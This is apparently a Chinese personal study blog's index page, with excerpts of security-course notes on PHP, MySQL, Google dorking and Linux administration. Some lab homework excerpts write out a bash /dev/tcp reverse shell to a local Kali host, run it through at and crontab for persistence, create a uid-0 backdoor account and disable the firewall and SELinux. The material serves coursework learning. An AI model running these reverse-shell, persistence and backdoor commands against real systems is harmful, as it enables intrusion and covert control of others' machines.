PHP
PHP基础初识PHP 了解PHP 语言 PHP 语言标记<h1>My Name is XIU!</h1><script> console.log("This message is from info.php!")</script><?php // PHP 的开始标记,表示从此标记开始,进入PHP 模式。 phpinfo(); // PHP 代码 // PHP 的结束标记,表示从开始标记到结束标记,之间的内容是PHP 模式 // 之后的内容依然被PHP 解释引擎认为是纯文本字符串。?> 说明: 在PHP 文件中,可以与HTML 和JavaScript 混编。 开始标记<?php 表示进入PHP 模式,结束标记?>,标识退出PHP 模式。 PHP 模式之外的内容会被作为字符输出到浏览器中。 HTML 或JavaScript 对于PHP 来说就是纯文本字符串。 $str=<<<HTM ...
mysql数据库基础语法
mysql数据库基础语法查询cmd>mysql -uroot -proot mysql> show databases; 查看有哪些数据库 mysql> use mysql; 进入一个名字为mysql的数据库 mysql> show tables; 查看当前数据库中有哪些表 重要user表 中有哪些内容 mysql> select * from user; 查看表 mysql> desc mysql.user; 查看表结构 primary key 主键 mysql> select host,user,password from mysql.user where user=’root’; 按条件查询 只看 3个字段 而且其中 user字段值为root的内容 mysql> select host,user,password from user order by 1; 排序查看 增加mysql> create database test; 数据库建立 mysql> create table test.userlist (i ...
Google hack
Google hackGoogle Hacking(也称为Google Dorking)是通过特定的Google搜索语法,利用高级搜索运算符和关键字组合,挖掘公开可访问但通常不希望被轻易发现的信息。这些信息可能包括敏感文件、服务器漏洞、未受保护的数据库、配置文件等。Google Hack语法利用Google搜索引擎的强大索引能力,结合精确的查询方式,帮助用户找到特定类型的内容。以下是对Google Hack语法的详细讲解,包括常用运算符、技巧、示例以及注意事项。 一、Google Hack的基本原理Google搜索引擎通过爬虫索引互联网上的网页内容,并允许用户使用高级搜索运算符来精确查询。Google Hacking利用这些运算符,结合特定关键词,定位可能暴露在公开网络上的敏感信息。这种技术常被安全研究人员用于渗透测试,也可能被恶意攻击者滥用。 Google Hack的核心在于: 精确查询:通过运算符缩小搜索范围,找到特定文件、页面或服务器。 公开信息:搜索结果仅限于Google已索引的公开内容,不会涉及非法入侵。 关键词组合:结合特定关键词(如“password”、“admin” ...
Linux基础大作业2
Linux基础大作业w21、使用反弹的shell创建uid为0的账户,非交互设置密码在centos上启动反弹shell bash -i >& /dev/tcp/192.168.227.129/1234 0>&1 kali监听,成功进入centos bash nc -lvnp 1234 在kali上进行操作 新建用户user1 useradd user1 #新建用户user1usermod -u 0 -o user1 #修改用户uid为0id user1 #查看用户user1 uidecho "user1:password" | chpasswd #非交互设置密码 使用创建的用户user1 password 在centos尝试登录 成功进入系统 2、使用echo写入计划任务实现在八月的每周五的每一小时,每一分钟备份/var/log/secure要求文件名包含当前时间echo "*/1 */1 * 8 5 /bin/cp /var/log/secure /path/to/backup/s ...
脚本作业
脚本作业1、写一个自动化脚本,让一台新机子,完成关防火墙 关虚拟网卡 换源 selinux的操作 独立完成vim 1.sh #编辑脚本文件#输入以下内容#!/bin/bashecho "关闭防火墙"systemctl stop firewalldsystemctl disable firewalldecho "关闭虚拟网卡"systemctl stop libvirtd.servicesystemctl disable libvirtd.serviceecho "换源"wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.huaweicloud.com/repository/conf/CentOS-7-reg.repoecho "关闭SELinux"setenforce 0sed -i 's/SELINUX=\(enforcing\|permissive\)/SELINUX=permissive/' /etc/selinux/ ...
计划任务反弹shell
计划任务反弹shell1、使用一次性计划任务和周期性计划任务反弹shell(5分钟后执行,和每5分钟执行1次),kali主机接收,解释命令字的含义5分钟后执行 at now + 5min #at命令创建一个5分钟后执行的计划任务输入要执行的操作 bash -i >& /dev/tcp/192.168.227.129/1234 0>&1 5分钟后kali验证: 每5分钟执行一次 crontab -e #使用cron命令创建计划任务输入 */5 * * * * bash -i >& /dev/tcp/192.168.227.129/1234 0>&1 2.其他反弹shell方式好的,我将逐一详细讲解每种反弹 shell 的实现方式,并解释每个命令背后的原理。反弹 shell 是一种利用目标机器连接回攻击者的机器,以便获得对目标的控制。以下是每种方法的详细解析。 1. Netcat 反弹 Shell原理: Netcat是一个简单的网络工具,用于通过 TCP 或 UDP 协议进行数据传输。它常常被用来建立反向连接。 步骤: ...
路由转发实验
路由转发实验试验前置操作:1.打开VMware虚拟网络编辑器添加两张网卡VMnet2和VMnet3并关闭设置里的”使用本地DHCP服务将IP地址分配给虚拟机” 2.给centos增加一张网卡 3.将win10的网络连接模式改为自定义VMnet2 将kali的网络连接模式改为自定义VMnet3 将centos的两张网卡网络连接模式分别设置为自定义VMnet2、自定义VMnet3 1.配置win10 ip 2.配置kali ip查看一下网口名称 ip link 修改 /etc/network/interfaces配置文件增加如下内容 sudo vi /etc/network/interfaces 重启网络服务和端口 eth0 systemctl restart networkingsudo ifdown eth0sudo ifup eth0 查看一下配置情况 3.配置centos双网卡查看网卡情况,ens33和ens36 修改ens33配置文件: sudo vi /etc/sysconfig/network-script ...
计划任务
计划任务一、计划任务概述1.1什么是计划任务 定义:在特定时间自动执行预先设定的命令或脚本。 核心用途: 延迟执行(如30秒后重启服务) 周期性任务(如每日备份数据库、每小时同步数据) 脱机任务(如无人值守服务器运维) 1.2Linux中的两大工具 二、at命令详解2.1 基本语法at [选项] 时间表达式 [命令] 提交任务:输入命令后按 Ctrl+D 提交。 查看任务: atq (列出所有任务)。 删除任务: atrm <任务ID> 。 2.2 时间表达式灵活时间格式: now # 立即执行now + 5min # 5分钟后02:30 tomorrow/today # 次日2:302025-12-31 23:59 # 绝对时间 示例: [root@xnha ~]# at now +1 minuteswarning: commands will be executed using /bin/sh该警告意味着计划任务必须使用内置命令 显示加载: [root@xnha ~]# at now +1 minuteswarning: commands will be ...
进程管理
进程管理一、进程简介1.1 进程三问 进程是什么? 程序在启动,运行时(执行命令,运行服务)都会产生进程,需要通过进程 来完成程序的工作 包含:内存地址空间、安全属性、执行线程、进程状态 程序 vs 进程: 程序:二进制文件(静态)如 /usr/bin/passwd 进程:程序运行过程(动态),有生命周期及状态 进程来源: 父进程通过 fork 创建子进程 所有进程的祖先进程: CentOS5/6: init CentOS7/8: systemd 进程状态: 运行状态产生原因:CPU时间片轮转 状态类型: R (运行) | S (睡眠) | T (停止) Z (僵尸) | X (死亡) 1.2 进程和pid(Process ID)在Linux系统中,PID(Process ID) 是 进程标识符(Process Identifier) 的缩写。它是一个唯一且 非负的整数,用于在操作系统中唯一标识一个正在运行的进程。每个进程(包括程序、服务、后台任务 等)启动时都会被分配一个PID ...
重定向和管道
重定向和管道一、重定向重定向指定特定的输入输出 1.1 文件描述符(FD) 定义:在 Linux 中,文件描述符(File Descriptor)是一个非负整数,用于唯一标识一个进程(程序)打开的文件、管道、网络连接或其他 I/O 资源。它是操作系统管理 I/O 操作的抽象句柄。 本质:可以理解为操作系统为每个进程维护的“通道号码”,通过这个号码访问具体的 I/O 资源。 1.2 标准输入、标准输出、标准错误输出Linux 为每个进程默认打开三个标准流(Standard Streams),对应三个文件描述符: 标准输入(stdin, FD 0): 默认来源:键盘输入。 用途:程序从 stdin 读取输入数据。 标准输出(stdout, FD 1): 默认去向:终端屏幕。 用途:程序向 stdout 输出正常结果。 标准错误输出(stderr, FD 2): 默认去向:终端屏幕。 用途:程序向 stderr 输出错误信息(与正常结果分离)。 1.3 总结看到的012就是FD,程序通过描述符访问文件,可以是常规文件,也可以是设备文件。 输出 ...
Linux的Apache搭建和测试
Linux的Apache搭建和测试安装apacheyum install httpdsystemctl start httpdsystemctl status httpd 创建第一个网站vim /var/www/html/index.html#编写一个简易网站chmod 644 /var/www/html/index.htmlchown apache:apache /var/www/html/index.html#本机访问虚拟机ip查看 创建第二个网站mkdir -p /var/www/study/html /var/www/study/logvim /var/www/study/html/index.html#编写一个简易网站sudo chown apache:apache /var/www/study/html /var/www/study/logsudo chmod 755 /var/www/studyvim /etc/httpd/conf.d/study.conf<VirtualHost *:80> ServerName study.com Docu ...
Linux压缩和解压缩
Linux压缩和解压缩一、生成测试文件(dd命令)1.生成一个大小为100M的全是二进制的0的文件# 生成100MB的全零文件[root@xnha ~]# cd /tmp[root@xnha tmp]# dd if=/dev/zero of=/tmp/testfile bs=1M count=100 #若原本文件中有内容则从头开始覆盖100M记录了100+0 的读入 #100指完整读取的块数,0指部分读取的快数记录了100+0 的写出 #同理104857600 bytes (105 MB, 100 MiB) copied, 0.0855957 s, 1.2 GB/s #总共复制的字节数 耗时 平均速度# 为什么要重复100次不直接写入100M?# 1.系统资源限制:dd 在每次读写时会分配一个缓冲区,大小等于 bs 的值。如果设置 bs=100M,dd 需要一次性分配 100MB 的内存缓冲区。在内存有限的系统上,这可能会导致I/O性能问题,甚至因内存不足而失败。# 2.中断和错误处理:如果用大块大小(bs=100M)且操作中断,可能丢失整个 100MB 的写入进度。而小块大小(bs= ...
公告
欢迎来到我的博客😈😈😈
最新文章
PHP
PHP
Google hack
Google hack
脚本作业
脚本作业
网站资讯
文章数目 :
25
本站访客数 :
本站总访问量 :
最后更新时间 :